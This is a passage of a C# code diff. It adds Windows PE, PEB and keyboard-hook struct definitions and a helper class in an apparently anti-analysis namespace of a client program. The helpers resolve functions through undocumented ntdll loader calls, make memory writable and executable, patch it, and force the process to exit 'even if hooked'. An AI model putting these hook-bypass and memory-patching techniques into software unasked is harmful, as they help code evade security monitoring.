||||
public ushort e_sp;
|
||||
public ushort e_csum;
|
||||
public ushort e_ip;
|
||||
public ushort e_cs;
|
||||
public ushort e_lfarlc;
|
||||
public ushort e_ovno;
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
|
||||
public ushort[] e_res1;
|
||||
public ushort e_oemid;
|
||||
public ushort e_oeminfo;
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
|
||||
public ushort[] e_res2;
|
||||
public int e_lfanew;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public unsafe struct IMAGE_NT_HEADERS32
|
||||
{
|
||||
public UInt32 Signature;
|
||||
public IMAGE_FILE_HEADER FileHeader;
|
||||
public IMAGE_OPTIONAL_HEADER32 OptionalHeader;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public unsafe struct IMAGE_NT_HEADERS64
|
||||
{
|
||||
public UInt32 Signature;
|
||||
public IMAGE_FILE_HEADER FileHeader;
|
||||
public IMAGE_OPTIONAL_HEADER64 OptionalHeader;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct IMAGE_FILE_HEADER
|
||||
{
|
||||
public ushort Machine;
|
||||
public ushort NumberOfSections;
|
||||
public uint TimeDateStamp;
|
||||
public uint PointerToSymbolTable;
|
||||
public uint NumberOfSymbols;
|
||||
public ushort SizeOfOptionalHeader;
|
||||
public ushort Characteristics;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public unsafe struct IMAGE_OPTIONAL_HEADER64
|
||||
{
|
||||
public UInt16 Magic;
|
||||
public byte MajorLinkerVersion;
|
||||
public byte MinorLinkerVersion;
|
||||
public uint SizeOfCode;
|
||||
public uint SizeOfInitializedData;
|
||||
public uint SizeOfUninitializedData;
|
||||
public uint AddressOfEntryPoint;
|
||||
public uint BaseOfCode;
|
||||
public ulong ImageBase;
|
||||
public uint SectionAlignment;
|
||||
public uint FileAlignment;
|
||||
public ushort MajorOperatingSystemVersion;
|
||||
public ushort MinorOperatingSystemVersion;
|
||||
public ushort MajorImageVersion;
|
||||
public ushort MinorImageVersion;
|
||||
public ushort MajorSubsystemVersion;
|
||||
public ushort MinorSubsystemVersion;
|
||||
public uint Win32VersionValue;
|
||||
public uint SizeOfImage;
|
||||
public uint SizeOfHeaders;
|
||||
public uint CheckSum;
|
||||
public UInt16 Subsystem;
|
||||
public UInt16 DllCharacteristics;
|
||||
public ulong SizeOfStackReserve;
|
||||
public ulong SizeOfStackCommit;
|
||||
public ulong SizeOfHeapReserve;
|
||||
public ulong SizeOfHeapCommit;
|
||||
public uint LoaderFlags;
|
||||
public uint NumberOfRvaAndSizes;
|
||||
public IMAGE_DATA_DIRECTORY DataDirectory;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct IMAGE_OPTIONAL_HEADER32
|
||||
{
|
||||
public UInt16 Magic;
|
||||
public Byte MajorLinkerVersion;
|
||||
public Byte MinorLinkerVersion;
|
||||
public UInt32 SizeOfCode;
|
||||
public UInt32 SizeOfInitializedData;
|
||||
public UInt32 SizeOfUninitializedData;
|
||||
public UInt32 AddressOfEntryPoint;
|
||||
public UInt32 BaseOfCode;
|
||||
public UInt32 BaseOfData;
|
||||
public UInt32 ImageBase;
|
||||
public UInt32 SectionAlignment;
|
||||
public UInt32 FileAlignment;
|
||||
public UInt16 MajorOperatingSystemVersion;
|
||||
public UInt16 MinorOperatingSystemVersion;
|
||||
public UInt16 MajorImageVersion;
|
||||
public UInt16 MinorImageVersion;
|
||||
public UInt16 MajorSubsystemVersion;
|
||||
public UInt16 MinorSubsystemVersion;
|
||||
public UInt32 Win32VersionValue;
|
||||
public UInt32 SizeOfImage;
|
||||
public UInt32 SizeOfHeaders;
|
||||
public UInt32 CheckSum;
|
||||
public UInt16 Subsystem;
|
||||
public UInt16 DllCharacteristics;
|
||||
public UInt32 SizeOfStackReserve;
|
||||
public UInt32 SizeOfStackCommit;
|
||||
public UInt32 SizeOfHeapReserve;
|
||||
public UInt32 SizeOfHeapCommit;
|
||||
public UInt32 LoaderFlags;
|
||||
public UInt32 NumberOfRvaAndSizes;
|
||||
public IMAGE_DATA_DIRECTORY DataDirectory;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct IMAGE_DATA_DIRECTORY
|
||||
{
|
||||
public uint VirtualAddress;
|
||||
public uint Size;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct IMAGE_EXPORT_DIRECTORY
|
||||
{
|
||||
public uint Characteristics;
|
||||
public uint TimeDateStamp;
|
||||
public ushort MajorVersion;
|
||||
public ushort MinorVersion;
|
||||
public uint Name;
|
||||
public uint Base;
|
||||
public uint NumberOfFunctions;
|
||||
public uint NumberOfNames;
|
||||
public uint AddressOfFunctions;
|
||||
public uint AddressOfNames;
|
||||
public uint AddressOfNameOrdinals;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
|
||||
public struct IMAGE_SECTION_HEADER
|
||||
{
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
|
||||
public byte[] Name;
|
||||
|
||||
public uint VirtualSize;
|
||||
public uint VirtualAddress;
|
||||
public uint SizeOfRawData;
|
||||
public uint PointerToRawData;
|
||||
public uint PointerToRelocations;
|
||||
public uint PointerToLinenumbers;
|
||||
public ushort NumberOfRelocations;
|
||||
public ushort NumberOfLinenumbers;
|
||||
public uint Characteristics;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct MEMORY_BASIC_INFORMATION
|
||||
{
|
||||
public IntPtr BaseAddress;
|
||||
public IntPtr AllocationBase;
|
||||
public uint AllocationProtect;
|
||||
public IntPtr RegionSize;
|
||||
public uint State;
|
||||
public uint Protect;
|
||||
public uint Type;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct OBJECT_ATTRIBUTES
|
||||
{
|
||||
public int Length;
|
||||
public IntPtr RootDirectory;
|
||||
public IntPtr ObjectName;
|
||||
public uint Attributes;
|
||||
public IntPtr SecurityDescriptor;
|
||||
public IntPtr SecurityQualityOfService;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct CLIENT_ID
|
||||
{
|
||||
public IntPtr UniqueProcess;
|
||||
public IntPtr UniqueThread;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct _LIST_ENTRY
|
||||
{
|
||||
public IntPtr Flink;
|
||||
public IntPtr Blink;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct _PEB_LDR_DATA
|
||||
{
|
||||
public UInt32 Length;
|
||||
public Byte Initialized;
|
||||
public IntPtr SsHandle;
|
||||
public _LIST_ENTRY InLoadOrderModuleList;
|
||||
public _LIST_ENTRY InMemoryOrderModuleList;
|
||||
public _LIST_ENTRY InInitializationOrderModuleList;
|
||||
public IntPtr EntryInProgress;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
public _LIST_ENTRY InLoadOrderLinks;
|
||||
public _LIST_ENTRY InMemoryOrderLinks;
|
||||
public _LIST_ENTRY InInitializationOrderLinks;
|
||||
public IntPtr DllBase;
|
||||
public IntPtr EntryPoint;
|
||||
public UInt32 SizeOfImage;
|
||||
public UNICODE_STRING FullDllName;
|
||||
public UNICODE_STRING BaseDllName;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct RTL_USER_PROCESS_PARAMETERS
|
||||
{
|
||||
public long MaximumLength;
|
||||
public long Length;
|
||||
public long Flags;
|
||||
public long DebugFlags;
|
||||
public IntPtr ConsoleHandle;
|
||||
public long ConsoleFlags;
|
||||
public IntPtr StdInputHandle;
|
||||
public IntPtr StdOutputHandle;
|
||||
public IntPtr StdErrorHandle;
|
||||
public IntPtr CurrentDirectory;
|
||||
public UNICODE_STRING DllPath;
|
||||
public UNICODE_STRING ImagePathName;
|
||||
public UNICODE_STRING CommandLine;
|
||||
public IntPtr Environment;
|
||||
public long StartingPositionLeft;
|
||||
public long StartingPositionTop;
|
||||
public long Width;
|
||||
public long Height;
|
||||
public long CharWidth;
|
||||
public long CharHeight;
|
||||
public long ConsoleTextAttributes;
|
||||
public long WindowFlags;
|
||||
public long ShowWindowFlags;
|
||||
public UNICODE_STRING WindowTitle;
|
||||
public UNICODE_STRING DesktopName;
|
||||
public UNICODE_STRING ShellInfo;
|
||||
public UNICODE_STRING RuntimeData;
|
||||
public IntPtr DLCurrentDirectory;
|
||||
public long EnvironmentSize;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public unsafe struct PEB
|
||||
{
|
||||
public byte InheritedAddressSpace;
|
||||
public byte ReadImageFileExecOptions;
|
||||
public byte BeingDebugged;
|
||||
public byte SpareBool;
|
||||
public IntPtr Mutant;
|
||||
public IntPtr ImageBaseAddress;
|
||||
public IntPtr Ldr;
|
||||
public IntPtr ProcessParameters;
|
||||
public IntPtr SubSystemData;
|
||||
public IntPtr ProcessHeap;
|
||||
public IntPtr FastPebLock;
|
||||
public IntPtr AtlThunkSListPtr;
|
||||
public IntPtr IFEOKey;
|
||||
public uint CrossProcessFlags;
|
||||
public IntPtr KernelCallbackTable;
|
||||
public uint SystemReserved;
|
||||
public uint AtlThunkSListPtr32;
|
||||
public IntPtr ApiSetMap;
|
||||
public uint TlsExpansionCounter;
|
||||
public IntPtr TlsBitmap;
|
||||
public fixed uint TlsBitmapBits[2];
|
||||
public IntPtr ReadOnlySharedMemoryBase;
|
||||
public IntPtr SharedData;
|
||||
public IntPtr ReadOnlyStaticServerData;
|
||||
public IntPtr AnsiCodePageData;
|
||||
public IntPtr OemCodePageData;
|
||||
public IntPtr UnicodeCaseTableData;
|
||||
public uint NumberOfProcessors;
|
||||
public uint NtGlobalFlag;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct KBDLLHOOKSTRUCT
|
||||
{
|
||||
public uint vkCode;
|
||||
public uint scanCode;
|
||||
public uint flags;
|
||||
public uint time;
|
||||
public IntPtr dwExtraInfo;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,746 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using static Pulsar.Client.Anti.Helper.Structs;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using static Pulsar.Client.Anti.Helper.Delegates;
|
||||
|
||||
namespace Pulsar.Client.Anti.Helper
|
||||
{
|
||||
public class Utils
|
||||
{
|
||||
#region WinApi
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern uint NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, uint ZeroBits, ref uint RegionSize, uint AllocationType, uint Protect);
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
private static extern void RtlInitUnicodeString(out Structs.UNICODE_STRING DestinationString, string SourceString);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)]
|
||||
private static extern void RtlUnicodeStringToAnsiString(out Structs.ANSI_STRING DestinationString, Structs.UNICODE_STRING UnicodeString, bool AllocateDestinationString);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern uint LdrGetDllHandleEx(ulong Flags, [MarshalAs(UnmanagedType.LPWStr)] string DllPath, [MarshalAs(UnmanagedType.LPWStr)] string DllCharacteristics, Structs.UNICODE_STRING LibraryName, ref IntPtr DllHandle);
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetModuleHandleA(string Library);
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetProcAddress(IntPtr hModule, string Function);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)]
|
||||
private static extern uint LdrGetProcedureAddressForCaller(IntPtr Module, Structs.ANSI_STRING ProcedureName, ushort ProcedureNumber, out IntPtr FunctionHandle, ulong Flags, IntPtr CallBack);
|
||||
|
||||
[DllImport("kernelbase.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern uint GetModuleFileName(IntPtr hModule, StringBuilder lpFileName, uint nSize);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern int NtProtectVirtualMemory(IntPtr hProcess, ref IntPtr BaseAddress, ref UIntPtr RegionSize, uint NewProtect, out uint oldProtect);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern uint NtQueryVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, uint MemoryInformationClass, ref Structs.MEMORY_BASIC_INFORMATION MemoryInformation, uint MemoryInformationLength, out uint ReturnLength);
|
||||
|
||||
[DllImport("ntdll", SetLastError = true)]
|
||||
private static extern uint NtClose(IntPtr hObject);
|
||||
|
||||
#endregion
|
||||
|
||||
/// <summary>
|
||||
/// Gets the handle of a specified module using low-level functions.
|
||||
/// </summary>
|
||||
/// <param name="Library">The name of the library to get the handle for.</param>
|
||||
/// <returns>The handle to the module.</returns>
|
||||
public static IntPtr LowLevelGetModuleHandle(string Library)
|
||||
{
|
||||
if (IntPtr.Size == 4)
|
||||
return GetModuleHandleA(Library);
|
||||
IntPtr hModule = IntPtr.Zero;
|
||||
Structs.UNICODE_STRING UnicodeString = new Structs.UNICODE_STRING();
|
||||
RtlInitUnicodeString(out UnicodeString, Library);
|
||||
LdrGetDllHandleEx(0, null, null, UnicodeString, ref hModule);
|
||||
return hModule;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the address of a specified function using low-level functions.
|
||||
/// </summary>
|
||||
/// <param name="hModule">The handle to the module.</param>
|
||||
/// <param name="Function">The name of the function to get the address for.</param>
|
||||
/// <returns>The address of the function.</returns>
|
||||
public static IntPtr LowLevelGetProcAddress(IntPtr hModule, string Function)
|
||||
{
|
||||
if (IntPtr.Size == 4)
|
||||
return GetProcAddress(hModule, Function);
|
||||
IntPtr FunctionHandle = IntPtr.Zero;
|
||||
Structs.UNICODE_STRING UnicodeString = new Structs.UNICODE_STRING();
|
||||
Structs.ANSI_STRING AnsiString = new Structs.ANSI_STRING();
|
||||
RtlInitUnicodeString(out UnicodeString, Function);
|
||||
RtlUnicodeStringToAnsiString(out AnsiString, UnicodeString, true);
|
||||
LdrGetProcedureAddressForCaller(hModule, AnsiString, 0, out FunctionHandle, 0, IntPtr.Zero);
|
||||
return FunctionHandle;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Writes the struct to a pointer.
|
||||
/// </summary>
|
||||
/// <param name="structure">The struct.</param>
|
||||
/// <param name="ptr">The pointer to the address that represents the struct.</param>
|
||||
/// <param name="fDeleteOld">An indicator to whether we should delete the old struct after writing or not.</param>
|
||||
/// <param name="ChangeMemoryProtection">An indicator to whether we should change the ptr memory protection before writing.</param>
|
||||
/// <returns>return true if successful, otherwise false.</returns>
|
||||
public static bool WriteStructToPtr<T>(T structure, IntPtr ptr, bool fDeleteOld, bool ChangeMemoryProtection)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (ChangeMemoryProtection)
|
||||
{
|
||||
uint Old = 0;
|
||||
ProtectMemory(ptr, (UIntPtr)Marshal.SizeOf(structure), PAGE_EXECUTE_READWRITE, out Old);
|
||||
Marshal.StructureToPtr(structure, ptr, fDeleteOld);
|
||||
ProtectMemory(ptr, (UIntPtr)Marshal.SizeOf(structure), Old, out Old);
|
||||
return true;
|
||||
}
|
||||
else
|
||||
{
|
||||
Marshal.StructureToPtr(structure, ptr, fDeleteOld);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public static string GetCurrentCLRModuleName()
|
||||
{
|
||||
string[] CLRs = { "clr.dll", "coreclr.dll" };
|
||||
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
|
||||
{
|
||||
foreach (string CLR in CLRs)
|
||||
{
|
||||
if (module.ModuleName.ToLower() == CLR)
|
||||
{
|
||||
return module.ModuleName;
|
||||
}
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Changes the page protection for an address.
|
||||
/// </summary>
|
||||
/// <param name="BaseAddress">The Address to change the protection for.</param>
|
||||
/// <param name="RegionSize">The size of the address.</param>
|
||||
/// <param name="NewProtect">The new protection to apply.</param>
|
||||
/// <param name="oldProtect">The old protection if you wanna set it back again.</param>
|
||||
/// <returns>return true if successfully did it's job, otherwise false.</returns>
|
||||
public static bool ProtectMemory(IntPtr BaseAddress, UIntPtr RegionSize, uint NewProtect, out uint oldProtect)
|
||||
{
|
||||
int Status = NtProtectVirtualMemory(new IntPtr(-1), ref BaseAddress, ref RegionSize, NewProtect, out oldProtect);
|
||||
if (Status == 0)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reads a byte from a specified memory address.
|
||||
/// </summary>
|
||||
/// <param name="ptr">The memory address to read from.</param>
|
||||
/// <returns>The byte read from the memory address.</returns>
|
||||
public static byte InternalReadByte(IntPtr ptr)
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
try
|
||||
{
|
||||
byte* ptr2 = (byte*)(void*)ptr;
|
||||
return *ptr2;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Force exits the process even if hooked.
|
||||
/// </summary>
|
||||
public static void ForceExit()
|
||||
{
|
||||
Environment.Exit(0);
|
||||
unsafe
|
||||
{
|
||||
int* ptr = null;
|
||||
*ptr = 42;
|
||||
}
|
||||
throw new Exception(new Random().Next(int.MinValue, int.MaxValue).ToString());
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// copies memory from a byte array to an IntPtr.
|
||||
/// </summary>
|
||||
/// <param name="dst">The IntPtr destination in which the data will be copied to.</param>
|
||||
/// <param name="src">The byte array source in which the data will be copied from.</param>
|
||||
public static void CopyMem(IntPtr dst, byte[] src, bool ChangeProtection)
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
fixed (byte* source = src)
|
||||
{
|
||||
if (ChangeProtection)
|
||||
{
|
||||
uint oldProtect = 0;
|
||||
if (ProtectMemory(dst, (UIntPtr)src.Length, 0x40, out oldProtect))
|
||||
{
|
||||
Marshal.Copy(src, 0, dst, src.Length);
|
||||
ProtectMemory(dst, (UIntPtr)src.Length, oldProtect, out oldProtect);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Marshal.Copy(src, 0, dst, src.Length);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// copies memory from an IntPtr to a byte array.
|
||||
/// </summary>
|
||||
/// <param name="dst">The byte array destination in which the data will be copied to.</param>
|
||||
/// <param name="src">The IntPtr source in which the data will be copied from.</param>
|
||||
public static void CopyMem(byte[] dst, IntPtr src, bool ChangeProtection)
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
fixed (byte* destination = dst)
|
||||
{
|
||||
if (ChangeProtection)
|
||||
{
|
||||
uint oldProtect = 0;
|
||||
if (ProtectMemory(src, (UIntPtr)dst.Length, 0x40, out oldProtect))
|
||||
{
|
||||
Marshal.Copy(src, dst, 0, dst.Length);
|
||||
ProtectMemory(src, (UIntPtr)dst.Length, oldProtect, out oldProtect);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Marshal.Copy(src, dst, 0, dst.Length);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// copies memory from an IntPtr to another.
|
||||
/// </summary>
|
||||
/// <param name="dst">The byte array destination in which the data will be copied to.</param>
|
||||
/// <param name="src">The IntPtr source in which the data will be copied from.</param>
|
||||
public static void CopyMem(IntPtr dst, IntPtr src, bool ChangeProtection)
|
||||
{
|
||||
int sizeDst = Marshal.SizeOf(typeof(IntPtr));
|
||||
|
||||
byte[] buffer = new byte[sizeDst];
|
||||
|
||||
if (ChangeProtection)
|
||||
{
|
||||
uint oldProtect = 0;
|
||||
if (ProtectMemory(dst, (UIntPtr)sizeDst, 0x40, out oldProtect))
|
||||
{
|
||||
Marshal.Copy(src, buffer, 0, sizeDst);
|
||||
Marshal.Copy(buffer, 0, dst, sizeDst);
|
||||
ProtectMemory(dst, (UIntPtr)sizeDst, oldProtect, out oldProtect);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Marshal.Copy(src, buffer, 0, sizeDst);
|
||||
Marshal.Copy(buffer, 0, dst, sizeDst);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Sees if the first string contains the second string.
|
||||
/// </summary>
|
||||
/// <param name="First">First string to see if it contains the second string.</param>
|
||||
/// <param name="Second">The second string that will be searched for.</param>
|
||||
/// <returns>if the second string contains a string from the first one then the result is true, otherwise false.</returns>
|
||||
public static bool Contains(string First, string Second)
|
||||
{
|
||||
if (CultureInfo.InvariantCulture.CompareInfo.IndexOf(First, Second, 0, First.Length, CompareOptions.OrdinalIgnoreCase) >= 0)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The method which is invoked to test reflection for IsReflectionEnabled.
|
||||
/// </summary>
|
||||
/// <returns>a random number from 1-99</returns>
|
||||
private static int TestInvoke()
|
||||
{
|
||||
return new Random().Next(1, 99);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if reflection is supported before doing reflection operations.
|
||||
/// </summary>
|
||||
/// <param name="FPSupport">Check if we can get a function pointer.</param>
|
||||
/// <param name="InvokeSupport">Check if we can invoke another function.</param>
|
||||
/// <returns>return true if reflection is enabled and supports the options you provided, otherwise false.</returns>
|
||||
public static bool IsReflectionEnabled(bool FPSupport, bool InvokeSupport)
|
||||
{
|
||||
try
|
||||
{
|
||||
MethodBase BaseMethodTest = MethodBase.GetCurrentMethod().DeclaringType.GetMethod("TestInvoke", BindingFlags.NonPublic | BindingFlags.Static);
|
||||
if (BaseMethodTest == null)
|
||||
return false;
|
||||
if (InvokeSupport)
|
||||
{
|
||||
if (BaseMethodTest.Invoke(null, null) == null || (int)BaseMethodTest.Invoke(null, null) == 0)
|
||||
return false;
|
||||
}
|
||||
|
||||
if (FPSupport)
|
||||
{
|
||||
if (GetPointer(BaseMethodTest as MethodInfo) == IntPtr.Zero)
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Converts a cast to a stack pointer.
|
||||
/// </summary>
|
||||
/// <returns>The stack pointer of the cast you provided.</returns>
|
||||
private static IntPtr UnsafeCastToStackPointer<T>(ref T o) where T : class
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
#pragma warning disable CS8500 // This takes the address of, gets the size of, or declares a pointer to a managed type
|
||||
fixed (T* ptr = &o)
|
||||
{
|
||||
return (IntPtr)ptr;
|
||||
}
|
||||
#pragma warning restore CS8500 // This takes the address of, gets the size of, or declares a pointer to a managed type
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the entry assembly directly using internal .NET functions using reflection.
|
||||
/// </summary>
|
||||
/// <returns>if successful then it returns the entry assembly, otherwise null.</returns>
|
||||
public static Assembly LowLevelGetEntryAssembly()
|
||||
{
|
||||
if (!IsReflectionEnabled(false, true))
|
||||
return null;
|
||||
Assembly EntryAsm = null;
|
||||
try
|
||||
{
|
||||
IntPtr AsmPtr = UnsafeCastToStackPointer(ref EntryAsm);
|
||||
if (AsmPtr != IntPtr.Zero)
|
||||
{
|
||||
Type ObjectHandleOnStackType = Type.GetType("System.Runtime.CompilerServices.ObjectHandleOnStack");
|
||||
if (ObjectHandleOnStackType != null)
|
||||
{
|
||||
object InstanceObjectHandle = Activator.CreateInstance(ObjectHandleOnStackType);
|
||||
FieldInfo mPtrFieldObjectHandle = ObjectHandleOnStackType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance);
|
||||
mPtrFieldObjectHandle.SetValue(InstanceObjectHandle, AsmPtr);
|
||||
Utils.CallInternalCLRFunction("GetEntryAssembly", typeof(AppDomainManager), BindingFlags.NonPublic | BindingFlags.Static, null, new object[] { InstanceObjectHandle }, null);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
return EntryAsm;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the currently executing assembly directly using internal .NET functions using reflection.
|
||||
/// </summary>
|
||||
/// <returns>if successful then it returns the executing assembly, otherwise null.</returns>
|
||||
public static Assembly LowLevelGetExecutingAssembly()
|
||||
{
|
||||
if (!IsReflectionEnabled(false, true))
|
||||
return null;
|
||||
Assembly ExecutingAssembly = null;
|
||||
try
|
||||
{
|
||||
IntPtr AsmPtr = UnsafeCastToStackPointer(ref ExecutingAssembly);
|
||||
if (AsmPtr != IntPtr.Zero)
|
||||
{
|
||||
Type ObjectHandleOnStackType = Type.GetType("System.Runtime.CompilerServices.ObjectHandleOnStack");
|
||||
Type StackCrawlMarksType = Type.GetType("System.Runtime.CompilerServices.StackCrawlMarkHandle");
|
||||
if (ObjectHandleOnStackType != null && StackCrawlMarksType != null)
|
||||
{
|
||||
object InstanceObjectHandle = Activator.CreateInstance(ObjectHandleOnStackType);
|
||||
FieldInfo mPtrFieldObjectHandle = ObjectHandleOnStackType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance);
|
||||
mPtrFieldObjectHandle.SetValue(InstanceObjectHandle, AsmPtr);
|
||||
Type StackCrawlMarkEnumType = Type.GetType("System.Threading.StackCrawlMark");
|
||||
object LookForMyCaller = Enum.Parse(StackCrawlMarkEnumType, "LookForMyCaller");
|
||||
IntPtr StackCrawlMarkPtr = UnsafeCastToStackPointer(ref LookForMyCaller);
|
||||
if (StackCrawlMarkPtr != IntPtr.Zero)
|
||||
{
|
||||
object InstanceStackCrawl = Activator.CreateInstance(StackCrawlMarksType);
|
||||
FieldInfo mPtrFieldStackCrawl = StackCrawlMarksType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance);
|
||||
mPtrFieldStackCrawl.SetValue(InstanceStackCrawl, StackCrawlMarkPtr);
|
||||
Utils.CallInternalCLRFunction("GetExecutingAssembly", Type.GetType("System.Reflection.RuntimeAssembly"), typeof(void), new object[] { InstanceStackCrawl, InstanceObjectHandle }, null);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
return ExecutingAssembly;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Calls methods in the CLR which isn't normally/directly accessible.
|
||||
/// </summary>
|
||||
/// <param name="InternalMethod">The name of the internal function.</param>
|
||||
/// <param name="InternalMethodType">The class or type that the method is in.</param>
|
||||
/// <param name="Flags">The method flags which will be used to find the exact method.</param>
|
||||
/// <param name="Parameters">The parameters which is used to search for the function using it, will be used instead of Flags if not left null.</param>
|
||||
/// <param name="InvokeParameters">The parameters passed to the method. can be null.</param>
|
||||
/// <param name="GenericParameter">The type arguments if the method is a generic method.</param>
|
||||
/// <returns>the return value of the method (if any).</returns>
|
||||
public static object CallInternalCLRFunction(string InternalMethod, Type InternalMethodType, BindingFlags Flags, Type[] Parameters, object[] InvokeParameters, Type GenericParameter = null)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!IsReflectionEnabled(false, true))
|
||||
return null;
|
||||
if (string.IsNullOrEmpty(InternalMethod) || InternalMethodType == null)
|
||||
return null;
|
||||
|
||||
MethodInfo MI = null;
|
||||
if (Parameters != null)
|
||||
{
|
||||
MI = InternalMethodType.GetMethod(InternalMethod, Parameters);
|
||||
}
|
||||
else
|
||||
{
|
||||
MI = InternalMethodType.GetMethod(InternalMethod, Flags);
|
||||
}
|
||||
|
||||
if (MI.IsGenericMethod && GenericParameter != null)
|
||||
{
|
||||
MI = MI.MakeGenericMethod(GenericParameter);
|
||||
}
|
||||
|
||||
if (MI != null)
|
||||
{
|
||||
object instance = MI.IsStatic ? null : Activator.CreateInstance(InternalMethodType);
|
||||
return MI.Invoke(instance, InvokeParameters);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Calls methods in the CLR which isn't normally/directly accessible.
|
||||
/// </summary>
|
||||
/// <param name="InternalMethod">The name of the internal function.</param>
|
||||
/// <param name="InternalMethodType">The class or type that the method is in.</param>
|
||||
/// <param name="ReturnType">The return type of the method to be searched for.</param>
|
||||
/// <param name="InvokeParameters">The parameters passed to the method. can be null.</param>
|
||||
/// <param name="GenericParameter">The type arguments if the method is a generic method.</param>
|
||||
/// <returns>the return value of the method (if any).</returns>
|
||||
